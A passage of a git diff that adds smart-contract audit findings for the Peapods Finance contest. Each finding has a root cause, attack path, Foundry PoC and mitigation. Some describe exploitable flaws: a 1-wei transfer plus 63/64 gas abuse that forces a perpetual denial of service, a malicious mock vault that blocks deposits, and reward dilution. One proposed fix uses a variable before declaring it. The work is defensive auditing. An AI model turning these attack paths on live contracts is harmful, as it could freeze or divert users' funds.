+3. `yieldConvEnabled` should be set to false
+
+### External Pre-conditions
+
+NA
+
+### Attack Path
+
+Mathematical Model which shows user2 will get less rewards then user 1:
+
+**Initial State:**
+```solidity
+Total Assets = 0
+Total Shares = 0
+```
+
+**Step 1 - User1 Deposit:**
+```solidity
+User1 Deposit = 100 tokens
+Total Assets = 100
+User1 Shares = 100 (1:1 ratio as first depositor)
+Total Shares = 100
+```
+
+**Step 2 - Rewards Added & Processed:**
+```solidity
+Rewards = 50 tokens
+Processed LP = 25 tokens (after conversion)
+New Total Assets = 125 tokens (100 initial + 25 from rewards)
+Total Shares = still 100 (unchanged)
+```
+
+**Step 3 - User2 Deposit (where dilution occurs):**
+```solidity
+User2 Deposit = 100 tokens
+Share Calculation = (Deposit * FACTOR) / Total Assets
+ = (100 * 1) / 125
+ = 80 shares
+
+New Total Assets = 225 (125 previous + 100 new deposit)
+New Total Shares = 180 (100 User1 + 80 User2)
+```
+
+**Value Distribution Analysis:**
+```solidity
+User1: 100 shares out of 180 total = 55.56% ownership
+User2: 80 shares out of 180 total = 44.44% ownership
+
+Total Asset Claims:
+User1 can claim: 225 * (100/180) = 125 tokens
+User2 can claim: 225 * (80/180) = 100 tokens
+
+// The "missing" 20 shares represent additional rewards and value captured by User1:
+- User1 gets 125 tokens for 100 deposited (+25 gain)
+- User2 gets 100 tokens for 100 deposited (no gain)
+```
+
+### Impact
+
+- Unfair distribution of compounding rewards among pool participants
+- Early depositors or depositors with specific timing gain disproportionate rewards
+
+### PoC
+
+Add this PoC to file `AutoCompoundingPodLP.t.sol` -> `AutoCompoundingPodLpTest` and run the following command in terminal `forge test --mt testRewardsInflation -vvv --rpc-url `
+
+```Solidity
+function testRewardsInflation() public {
+
+console.log("Starting rewards inflation test...");
+
+// Initial setup
+
+uint256 initialDeposit = 100 * 1e18;
+
+uint256 rewardAmount = 50 * 1e18;
+
+console.log("Initial deposit amount:", initialDeposit / 1e18);
+
+console.log("Reward amount:", rewardAmount / 1e18);
+
+// Setup rewards
+
+address[] memory rewardTokens = new address[](1);
+
+rewardTokens[0] = address(rewardToken1);
+
+mockTokenRewards.setProcessedRewardTokens(rewardTokens);
+
+console.log("Reward token set to:", address(rewardToken1));
+
+// Configure mock returns
+
+uint256 lpAmountOut = 25 * 1e18;
+
+mockDexAdapter.setSwapV3SingleReturn(lpAmountOut);
+
+deal(autoCompoundingPodLp.pod().PAIRED_LP_TOKEN(), address(autoCompoundingPodLp), lpAmountOut);
+
+mockIndexUtils.setAddLPAndStakeReturn(lpAmountOut);
+
+console.log("LP amount out configured:", lpAmountOut / 1e18);
+
+// Set allowance for the mock staking pool token
+
+vm.startPrank(user);
+
+deal(address(mockStakingPoolToken), user, initialDeposit);
+
+mockStakingPoolToken.approve(address(autoCompoundingPodLp), type(uint256).max);
+
+console.log("User1 initial balance:", mockStakingPoolToken.balanceOf(user) / 1e18);
+
+// First user deposit
+
+deal(address(mockAsset), user, initialDeposit);
+
+mockAsset.approve(address(autoCompoundingPodLp), initialDeposit);
+
+uint256 user1Shares = autoCompoundingPodLp.deposit(initialDeposit, user);
+
+console.log("User1 shares received:", user1Shares / 1e18);
+
+vm.stopPrank();
+
+// Log total assets after first deposit
+
+console.log("Total assets after first deposit:", autoCompoundingPodLp.totalAssets() / 1e18);
+
+// Add rewards
+
+rewardToken1.mint(address(autoCompoundingPodLp), rewardAmount);
+
+console.log("Rewards added to contract:", rewardToken1.balanceOf(address(autoCompoundingPodLp)) / 1e18);
+
+// Second user deposit
+
+address user2 = address(0x2);
+
+vm.startPrank(user2);
+
+deal(address(mockStakingPoolToken), user2, initialDeposit);
+
+mockStakingPoolToken.approve(address(autoCompoundingPodLp), type(uint256).max);
+
+console.log("User2 initial balance:", mockStakingPoolToken.balanceOf(user2) / 1e18);
+
+deal(address(mockAsset), user2, initialDeposit);
+
+mockAsset.approve(address(autoCompoundingPodLp), initialDeposit);
+
+// Log expected shares before second deposit
+
+uint256 expectedShares = autoCompoundingPodLp.convertToShares(initialDeposit);
+
+console.log("Expected User2 shares:", expectedShares / 1e18);
+
+uint256 user2Shares = autoCompoundingPodLp.deposit(initialDeposit, user2);
+
+console.log("User2 actual shares received:", user2Shares / 1e18);
+
+vm.stopPrank();
+
+// Log final state
+
+console.log("Final total assets:", autoCompoundingPodLp.totalAssets() / 1e18);
+
+console.log("Share difference (User1 - User2):", (user1Shares - user2Shares) / 1e18);
+
+// Assert share inflation
+
+assertTrue(
+
+user2Shares < user1Shares,
+
+"User2 should receive fewer shares due to rewards processing before share calculation"
+
+);
+
+// Calculate expected shares difference
+
+uint256 expectedUser2Shares = autoCompoundingPodLp.convertToShares(initialDeposit);
+
+assertEq(
+
+user2Shares,
+
+expectedUser2Shares,
+
+"User2 shares should match conversion after rewards processing"
+
+);
+
+// Verify total assets increased from rewards
+
+assertEq(
+
+autoCompoundingPodLp.totalAssets(),
+
+initialDeposit * 2 + lpAmountOut,
+
+"Total assets should include deposits and processed rewards"
+
+);
+
+console.log("Test completed successfully");
+
+}
+```
+
+**Results:**
+
+```solidity
+[PASS] testRewardsInflation() (gas: 1869760)
+Logs:
+ Starting rewards inflation test...
+ Initial deposit amount: 100
+ Reward amount: 50
+ Reward token set to: 0x1d1499e622D69689cdf9004d05Ec547d650Ff211
+ LP amount out configured: 25
+ User1 initial balance: 100
+ User1 shares received: 100
+ Total assets after first deposit: 100
+ Rewards added to contract: 50
+ User2 initial balance: 100
+ Expected User2 shares: 100
+ User2 actual shares received: 80
+ Final total assets: 225
+ Share difference (User1 - User2): 20
+ Test completed successfully
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.88s (400.69ms CPU time)
+```
+
+**After the mitigation:**
+
+Run this test function after making changes given in mitigation, by adding this PoC to file `AutoCompoundingPodLP.t.sol` -> `AutoCompoundingPodLpTest` and run the following command in terminal `forge test --mt testNoInflationAfterFix -vvv --rpc-url `
+
+
+```solidity
+
+ function testNoInflationAfterFix() public {
+ // Initial setup
+ uint256 initialDeposit = 100 * 1e18;
+ uint256 rewardAmount = 50 * 1e18;
+ address user1 = address(0x1);
+ address user2 = address(0x2);
+
+ // Setup rewards tokens
+ address[] memory rewardTokens = new address[](1);
+ rewardTokens[0] = address(rewardToken1);
+ mockTokenRewards.setProcessedRewardTokens(rewardTokens);
+
+ // Configure mock returns
+ uint256 lpAmountOut = 25 * 1e18;
+ mockDexAdapter.setSwapV3SingleReturn(lpAmountOut);
+ deal(autoCompoundingPodLp.pod().PAIRED_LP_TOKEN(), address(autoCompoundingPodLp), lpAmountOut);
+ mockIndexUtils.setAddLPAndStakeReturn(lpAmountOut);
+
+ // First user deposit
+ vm.startPrank(user1);
+ deal(address(mockStakingPoolToken), user1, initialDeposit);
+ mockStakingPoolToken.approve(address(autoCompoundingPodLp), type(uint256).max);
+ deal(address(mockAsset), user1, initialDeposit);
+ mockAsset.approve(address(autoCompoundingPodLp), initialDeposit);
+
+ console.log("User1 starting deposit...");
+ uint256 shares1 = autoCompoundingPodLp.deposit(initialDeposit, user1);
+ console.log("User1 shares received:", shares1 / 1e18);
+ vm.stopPrank();
+
+ // Add rewards
+ console.log("Adding rewards...");
+ rewardToken1.mint(address(autoCompoundingPodLp), rewardAmount);
+ console.log("Rewards balance:", rewardToken1.balanceOf(address(autoCompoundingPodLp)) / 1e18);
+
+ // Second user deposit
+ vm.startPrank(user2);
+ deal(address(mockStakingPoolToken), user2, initialDeposit);
+ mockStakingPoolToken.approve(address(autoCompoundingPodLp), type(uint256).max);
+ deal(address(mockAsset), user2, initialDeposit);
+ mockAsset.approve(address(autoCompoundingPodLp), initialDeposit);
+
+ console.log("User2 starting deposit...");
+ uint256 shares2 = autoCompoundingPodLp.deposit(initialDeposit, user2);
+ console.log("User2 shares received:", shares2 / 1e18);
+ vm.stopPrank();
+
+ // Log final state
+ console.log("Total assets:", autoCompoundingPodLp.totalAssets() / 1e18);
+ console.log("Share difference:", (shares1 - shares2) / 1e18);
+
+ assertEq(
+ shares1,
+ shares2,
+ "Share amounts should be equal for equal deposits after fix"
+ );
+ }
+```
+
+Logs:
+
+```solidity
+Logs:
+ User1 starting deposit...
+ User1 shares received: 100
+ Adding rewards...
+ Rewards balance: 50
+ User2 starting deposit...
+ User2 shares received: 100
+ Total assets: 225
+ Share difference: 0
+```
+
+### Mitigation
+
+Reorder Operations:
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ // Calculate shares first based on current total assets
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+
+ // Then process rewards
+ _processRewardsToPodLp(0, block.timestamp);
+
+ // Finally do the deposit
+ _deposit(_assets, _shares, _receiver);
+}
+```
\ No newline at end of file
diff --git a/251.md b/251.md
new file mode 100644
index 0000000..e576efa
--- /dev/null
+++ b/251.md
@@ -0,0 +1,59 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Incomplete logic will allow malicious users to perpetually override the amount to swap to the minimum
+
+### Summary
+
+Incomplete logic will allow malicious users to perpetually override the amount to swap to the minimum
+
+### Root Cause
+
+Multiple contracts, such as `TokenRewards`, have the following amount override mechanism:
+```solidity
+try DEX_ADAPTER.swapV3Single(...) {
+ ...
+} catch {
+ _rewardsSwapAmountInOverride = _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN ? REWARDS_SWAP_OVERRIDE_MIN : _amountIn / 2;
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+}
+```
+If a swap upon processing reward fails, we override the next swap amount to the current amount divided by 2 or by the minimum override amount if we go below it. This allows a user to maliciously set the override amount to the minimum perpetually due to multiple reasons.
+
+Firstly, here we will get the rewards we have to process (`TokenRewards::depositFromPairedLpToken()`):
+```solidity
+uint256 _amountTkn = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) - _unclaimedPairedLpTkns;
+```
+An attacker can simply send 1 wei directly which in the case where `LEAVE_AS_PAIRED_LP_TOKEN` being false, we have to swap it to the reward token where we have the `try/catch` mechanism shown above. There, when we try to swap the 1 wei, we can revert for multiple reasons and an attacker can, with a 100% success rate, also make it fail by abusing the 63/64 rule as this is the last operation and the `catch` block is very simple. We can also revert due to other reasons as swapping 1 wei of token is not an actual legit swap and the DEX can reject it for numerous reasons but let's assume we abuse the 63/64 rule. Then, as 1 wei is below the minimum, we will go to the minimum of 1e9 which we don't have and further deposits will revert as we will try to swap amount we don't actually have, they will revert until 1e9 actually accrues. Then, the attacker can do it again and again.
+
+
+### Internal Pre-conditions
+
+.
+
+### External Pre-conditions
+
+.
+
+### Attack Path
+
+Explained in the root cause section.
+
+### Impact
+
+Firstly, an attacker can delay the distribution of actual rewards as there can always be an override to a low amount like 1e9.
+
+Secondly, any operations will revert as if we don't have the minimum amount, swapping it will simply revert, this operation is done on stakes and unstakes. It will revert until 1e9 of rewards actually accrue which might take a long time. Then, the attacker can do it again after the rewards have been processed, resulting in a perpetual DOS of deposits and withdrawals, with very short windows where deposits and withdrawals will be possible in the time delta between the reward processing and the attacker doing it again which could, realistically, be 0 seconds.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+ uint256 _amountTkn = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) - _unclaimedPairedLpTkns;
++ if (!LEAVE_AS_PAIRED_LP_TOKEN && _amountTkn < _rewardsSwapAmountInOverride) { revert(); }
+```
\ No newline at end of file
diff --git a/252.md b/252.md
new file mode 100644
index 0000000..fb9be8e
--- /dev/null
+++ b/252.md
@@ -0,0 +1,78 @@
+Brilliant Fiery Sheep
+
+Medium
+
+# `LeverageManager._acquireBorrowTokenForRepayment` will revert due to `_props.sender` not being when removing leverage
+
+### Summary
+
+In `LeverageManager._acquireBorrowTokenForRepayment` an attempt is made to transfer tokens from `_props.sender`. This will fail because `_props.sender` has not being set leading to a denial of service when removing leverage.
+
+### Root Cause
+
+In `LeverageManager._acquireBorrowTokenForRepayment`, an attempt is made to transfer tokens from `_props.sender`:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L414-L430
+
+```solidity
+ function _acquireBorrowTokenForRepayment(
+ LeverageFlashProps memory _props,
+ address _pod,
+ address _borrowToken,
+ uint256 _borrowNeeded,
+ uint256 _podAmtReceived,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) internal returns (uint256 _podAmtRemaining) {
+ _podAmtRemaining = _podAmtReceived;
+ uint256 _borrowAmtNeededToSwap = _borrowNeeded;
+ if (_userProvidedDebtAmtMax > 0) {
+ uint256 _borrowAmtFromUser =
+ _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNeeded : _userProvidedDebtAmtMax;
+ _borrowAmtNeededToSwap -= _borrowAmtFromUser;
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ }
+```
+
+This will however fail because `_props.sender` is never set before the call is made.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. User calls `LeverageManager.removeLeverage`.
+2. Function reverts due to `_props.sender` not being set before a transfer is initiated.
+
+### Impact
+
+Denial of service of the `LeverageManager.removeLeverage` functionality.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Set `_props.sender` to `_sender` in `LeverageManager.removeLeverage`:
+
+```diff
+ LeverageFlashProps memory _props;
+ _props.method = FlashCallbackMethod.REMOVE;
+ _props.positionId = _positionId;
+ _props.owner = _owner;
++ _props.sender = _sender;
+ bytes memory _additionalInfo = abi.encode(
+ IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false),
+ _collateralAssetRemoveAmt,
+ _podAmtMin,
+ _pairedAssetAmtMin,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+```
diff --git a/253.md b/253.md
new file mode 100644
index 0000000..51789bc
--- /dev/null
+++ b/253.md
@@ -0,0 +1,53 @@
+Passive Pastel Hippo
+
+High
+
+# Unclaimed Rewards Lost Due to Inadvertent Reset for Paused Tokens
+
+### Summary
+
+In this vulnerability, when a token is paused and The function `setShares` is invoked thus triggering `_addShares`, the contract correctly skips distributing that token’s rewards in `_distributeReward`. However, it then calls `_resetExcluded` for all tokens (including the paused one), overwriting the user’s previously accumulated but undistributed reward data. This results in the permanent loss of those paused token rewards.
+
+### Root Cause
+
+The core issue arises because the contract unconditionally resets the `excluded` reward data for all tokens—regardless of whether a token is paused. Specifically, the logic in `_addShares` calls `_distributeReward`, which skips distributing rewards for paused tokens. However, the subsequent `_resetExcluded` call overwrites the user’s accumulated but undistributed reward data for those paused tokens, effectively causing the user to lose unclaimed rewards.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L113-L124
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L243-L245
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L258-L263
+
+### Internal Pre-conditions
+
+• The user already holds shares (`shares[_wallet] > 0`).
+• A token has been paused via `setPaused(address _token, bool _isPaused)` .
+• The function `setShares` is invoked, thus triggering `_addShares` and subsequently `_distributeReward` `_resetExcluded`.
+
+### Attack Path
+
+1. An administrative call to `setPaused(address _token, bool _isPaused)` enables the paused state for a specific token.
+2. A user with existing shares in the contract (meaning they have previously accrued some reward) triggers a call to `_addShares (for instance, staking more tokens)`.
+3. Inside `_addShares`, the function `_distributeReward` is called, which checks if the token is paused and skips distributing rewards for that token if `REWARDS_WHITELISTER.paused(_token)` equals true.
+4. Because the token is paused, no rewards are distributed, and the user’s pending reward for that token remains unclaimed.
+5. Immediately afterward, `_resetExcluded` is invoked and unconditionally resets the user’s `excluded` value for all tokens, including the paused one. This action overwrites any previously accumulated but undistributed reward data for the paused token.
+6. Consequently, the user permanently loses the unclaimed reward amount for the paused token.
+
+### Impact
+
+• Users lose all unclaimed rewards for paused tokens because the stored reward balances are overridden.
+• This can lead to significant financial losses if a large or valuable quantity of tokens remains paused, then reset.
+
+### Mitigation
+
+Split out paused and unpaused tokens in `_resetExcluded` so paused tokens are not included in the reset process.
+```solidity
+ function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+ address _token = _allRewardsTokens[_i];
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+ }
+```
\ No newline at end of file
diff --git a/254.md b/254.md
new file mode 100644
index 0000000..6197aa8
--- /dev/null
+++ b/254.md
@@ -0,0 +1,105 @@
+Cool Chartreuse Antelope
+
+Medium
+
+# incorrect use of `deadline` argument during swapping on uniswap and aerodrome.
+
+### Summary
+
+The protocol is using `block.timestamp` as the `deadline` argument while interacting with the UniswapV2 router, camelot and AerdromeV2 router, which completely defeats the purpose of using a deadline.
+
+
+
+### Root Cause
+
+### **1.) Instances of the bug in AerodromeDexAdapter**
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L74-L77
+
+```solidity
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+ IAerodromeRouter(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _routes, _recipient, block.timestamp
+ );
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L100-L101
+
+```solidity
+ _inputs[0] = abi.encode(_recipient, _amountIn, _amountOutMin, _path, true);
+ IAerodromeUniversalRouter(V3_ROUTER).execute(_commands, _inputs, block.timestamp);
+```
+
+
+
+### **2.) Instances of the bug in CamelotDexAdapter.sol**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L48-L50
+
+```solidity
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+ ICamelotRouter(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, Ownable(address(V3_TWAP_UTILS)).owner(), block.timestamp
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L71-L72
+
+```solidity
+ IERC20(_tokenIn).safeIncreaseAllowance(address(V2_ROUTER_UNI), _amountInMax);
+ V2_ROUTER_UNI.swapTokensForExactTokens(_amountOut, _amountInMax, _path, _recipient, block.timestamp);
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L96-L100
+
+```solidity
+ ISwapRouterAlgebra.ExactInputSingleParams({
+ tokenIn: _tokenIn,
+ tokenOut: _tokenOut,
+ recipient: _recipient,
+ deadline: block.timestamp,
+```
+
+
+
+### **3.) Instances of the bug in CamelotDexAdapter.sol**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L78-L79
+
+```solidity
+ IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, block.timestamp
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L101-L103
+```solidity
+ IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+ _amountOut, _amountInMax, _path, _recipient, block.timestamp
+ );
+```
+
+### Internal Pre-conditions
+
+1.) caller sends in tx
+2.) block.timestamp is always the current block.timestamp supplied for tx deadline
+
+### External Pre-conditions
+
+1.) caller sends in tx,
+2. ) gas user provides is lower than gas required to perform the swap tx on chain.
+3. ) the tx pends till a malicious miner executes it at a later/unfavourable time.
+
+### Attack Path
+
+Using `block.timestamp` as the deadline is effectively a no-operation that has no effect nor protection. Since `block.timestamp` will take the timestamp value when the transaction gets mined, the check will end up comparing `block.timestamp` against the same value, see [here](https://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/base/PeripheryValidation.sol#L7), for example.
+
+
+
+### Impact
+
+Failure to provide a proper deadline value enables pending transactions to be maliciously executed at a later point. Transactions that provide an insufficient amount of gas such that they are not mined within a reasonable amount of time, can be picked by malicious actors or MEV bots and executed later in detriment of the submitter. See [[this issue](https://github.com/code-423n4/2022-12-backed-findings/issues/64)](https://github.com/code-423n4/2022-12-backed-findings/issues/64) for an excellent reference on the topic.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+allow users specify a deadline amount in the function parameters
\ No newline at end of file
diff --git a/255.md b/255.md
new file mode 100644
index 0000000..2822161
--- /dev/null
+++ b/255.md
@@ -0,0 +1,205 @@
+Old Pecan Chameleon
+
+Medium
+
+# Failing Vault's addInterest Will Block All User Operations in https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L204-L16
+
+### Summary
+
+A failing vault's addInterest() function in https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L204-L16 will cause a denial of service for all users of LendingAssetVault as any single vault failure in _updateInterestAndMdInAllVaults() will prevent deposits and withdrawals.
+
+### Root Cause
+
+n LendingAssetVault.sol the _updateInterestAndMdInAllVaults() function iterates through all whitelisted vaults without handling individual vault failures, causing the entire function to revert if any single vault's addInterest() fails.
+function _updateInterestAndMdInAllVaults(address _vaultToExclude) internal {
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ if (_vault == _vaultToExclude) {
+ continue;
+ }
+ (uint256 _interestEarned,,,,,) = IFraxlendPair(_vault).addInterest(false);
+ if (_interestEarned > 0) {
+ _updateAssetMetadataFromVault(_vault);
+ }
+ }
+}
+
+### Internal Pre-conditions
+
+A vault needs to be whitelisted and included in _vaultWhitelistAry
+At least one whitelisted vault's addInterest() function must fail
+
+### External Pre-conditions
+
+FraxLendPair needs to be compromised or fail in a way that makes addInterest() revert (e.g., oracle failure, rate calculation failure)
+Any external protocol/dependency of FraxLendPair needed for addInterest() must fail (e.g., rate calculator, oracles)
+
+### Attack Path
+
+A whitelisted vault's addInterest() function fails
+User calls deposit() or withdraw()
+_updateInterestAndMdInAllVaults() is called as part of the operation
+The entire transaction reverts due to the failing vault
+All deposits and withdrawals become blocked for all users
+
+### Impact
+
+All users cannot execute deposits or withdrawals in the LendingAssetVault until the problematic vault is removed from the whitelist by the owner.
+
+### PoC
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.28;
+
+import "forge-std/Test.sol";
+import "../src/LendingAssetVault.sol";
+
+contract MockERC20 is ERC20 {
+ constructor() ERC20("Mock", "MOCK") {
+ _mint(msg.sender, 1000e18);
+ }
+
+ function mint(address to, uint256 amount) external {
+ _mint(to, amount);
+ }
+}
+
+contract MaliciousVault is IERC4626 {
+ bool public shouldFail;
+
+ function setShouldFail(bool _shouldFail) external {
+ shouldFail = _shouldFail;
+ }
+
+ function addInterest(bool) external view returns (uint256, uint64, uint64, uint32, uint32, uint256) {
+ require(!shouldFail, "FORCED_FAILURE");
+ return (100, 0, 0, 0, 0, 0); // Mock values
+ }
+
+ // Minimal IERC4626 implementation
+ function asset() external pure returns (address) { return address(0); }
+ function totalAssets() external pure returns (uint256) { return 0; }
+ function convertToShares(uint256) external pure returns (uint256) { return 0; }
+ function convertToAssets(uint256) external pure returns (uint256) { return 0; }
+ function maxDeposit(address) external pure returns (uint256) { return 0; }
+ function previewDeposit(uint256) external pure returns (uint256) { return 0; }
+ function deposit(uint256, address) external pure returns (uint256) { return 0; }
+ function maxMint(address) external pure returns (uint256) { return 0; }
+ function previewMint(uint256) external pure returns (uint256) { return 0; }
+ function mint(uint256, address) external pure returns (uint256) { return 0; }
+ function maxWithdraw(address) external pure returns (uint256) { return 0; }
+ function previewWithdraw(uint256) external pure returns (uint256) { return 0; }
+ function withdraw(uint256, address, address) external pure returns (uint256) { return 0; }
+ function maxRedeem(address) external pure returns (uint256) { return 0; }
+ function previewRedeem(uint256) external pure returns (uint256) { return 0; }
+ function redeem(uint256, address, address) external pure returns (uint256) { return 0; }
+}
+
+contract LendingAssetVaultTest is Test {
+ LendingAssetVault public vault;
+ MockERC20 public asset;
+ MaliciousVault public maliciousVault;
+ address public user1;
+ address public user2;
+ address public owner;
+
+ function setUp() public {
+ owner = address(this);
+ user1 = makeAddr("user1");
+ user2 = makeAddr("user2");
+
+ // Deploy contracts
+ asset = new MockERC20();
+ vault = new LendingAssetVault("Test Vault", "vTEST", address(asset));
+ maliciousVault = new MaliciousVault();
+
+ // Setup initial state
+ vault.setVaultWhitelist(address(maliciousVault), true);
+ vault.setVaultMaxAllocation(
+ toArray(address(maliciousVault)),
+ toArray(1000e18)
+ );
+
+ // Fund users
+ asset.mint(user1, 100e18);
+ asset.mint(user2, 100e18);
+
+ vm.startPrank(user1);
+ asset.approve(address(vault), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(user2);
+ asset.approve(address(vault), type(uint256).max);
+ vm.stopPrank();
+ }
+
+ function testDenialOfService() public {
+ // First deposit works fine
+ vm.startPrank(user1);
+ vault.deposit(50e18, user1);
+ assertEq(vault.balanceOf(user1), 50e18);
+ vm.stopPrank();
+
+ // Make malicious vault fail
+ maliciousVault.setShouldFail(true);
+
+ // User2's deposit should fail
+ vm.startPrank(user2);
+ vm.expectRevert("FORCED_FAILURE");
+ vault.deposit(50e18, user2);
+ vm.stopPrank();
+
+ // User1's withdrawal should also fail
+ vm.startPrank(user1);
+ vm.expectRevert("FORCED_FAILURE");
+ vault.withdraw(25e18, user1, user1);
+ vm.stopPrank();
+ }
+
+ function toArray(address a) internal pure returns (address[] memory arr) {
+ arr = new address[](1);
+ arr[0] = a;
+ }
+
+ function toArray(uint256 a) internal pure returns (uint256[] memory arr) {
+ arr = new uint256[](1);
+ arr[0] = a;
+ }
+}
+
+### Mitigation
+
+Implement try-catch for individual vault interest updates:
+function _updateInterestAndMdInAllVaults(address _vaultToExclude) internal {
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ if (_vault == _vaultToExclude) {
+ continue;
+ }
+ try IFraxlendPair(_vault).addInterest(false) returns (uint256 _interestEarned,,,,,) {
+ if (_interestEarned > 0) {
+ _updateAssetMetadataFromVault(_vault);
+ }
+ } catch {
+ emit VaultInterestUpdateFailed(_vault);
+ continue;
+ }
+ }
+}
+Add circuit breaker to automatically disable problematic vaults:
+mapping(address => bool) public vaultInterestPaused;
+
+function _updateInterestAndMdInAllVaults(address _vaultToExclude) internal {
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ if (_vault == _vaultToExclude || vaultInterestPaused[_vault]) {
+ continue;
+ }
+ try IFraxlendPair(_vault).addInterest(false) {
+ // ... normal logic
+ } catch {
+ vaultInterestPaused[_vault] = true;
+ emit VaultInterestPaused(_vault);
+ }
+ }
+}
diff --git a/256.md b/256.md
new file mode 100644
index 0000000..6600c9f
--- /dev/null
+++ b/256.md
@@ -0,0 +1,150 @@
+Brilliant Fiery Sheep
+
+Medium
+
+# The amount of shares needed for redemption of borrow tokens is underquoted during the removal of leverage process leading to reverting.
+
+### Summary
+
+When removing leverage, some additional borrow amount is acquired in the `LeverageManager._acquireBorrowTokenForRepayment` function. The amount needed is however underquoted due to the rounding down nature of the `convertToShares` function. This means not enough amount will be acquired leading to the removing of leverage reverting.
+
+### Root Cause
+
+In `LeverageManager._acquireBorrowTokenForRepayment`, `_borrowAmtNeededToSwap` is acquired to provide enough tokens to repay the flash loan:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L431-L446
+
+
+```solidity
+ // sell pod token into LP for enough borrow token to get enough to repay
+ // if self-lending swap for lending pair then redeem for borrow token
+ if (_borrowAmtNeededToSwap > 0) {
+ if (_isPodSelfLending(_props.positionId)) {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod,
+ positionProps[_props.positionId].lendingPair,
+ _podAmtReceived,
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
+ _podSwapAmtOutMin
+ );
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
+ IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
+ address(this),
+ address(this)
+ );
+```
+
+As can be seen `convertToShares` is used to determine the equivalent number of shares that should be acquired for redemption into the borrow token.
+
+`convertToShares` is a rounding down function:
+
+```solidity
+ function convertToShares(uint256 _assets) external view returns (uint256 _shares) {
+ _shares = toAssetShares(_assets, false, true);
+ }
+```
+
+```solidity
+ function toAssetShares(uint256 _amount, bool _roundUp, bool _previewInterest)
+ public
+ view
+ returns (uint256 _shares)
+ {
+ if (_previewInterest) {
+ (,,,, VaultAccount memory _totalAsset,) = previewAddInterest();
+ _shares = _totalAsset.toShares(_amount, _roundUp);
+ } else {
+ _shares = totalAsset.toShares(_amount, _roundUp);
+ }
+ }
+```
+
+This means that the shares that will be used for the redemption of the borrow tokens will be underquoted.
+
+The redemption process will also lead to a further rounding down compounding the issue:
+
+```solidity
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
+ IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
+ address(this),
+ address(this)
+ );
+```
+
+```solidity
+ function redeem(uint256 _shares, address _receiver, address _owner)
+ external
+ nonReentrant
+ returns (uint256 _amountToReturn)
+ {
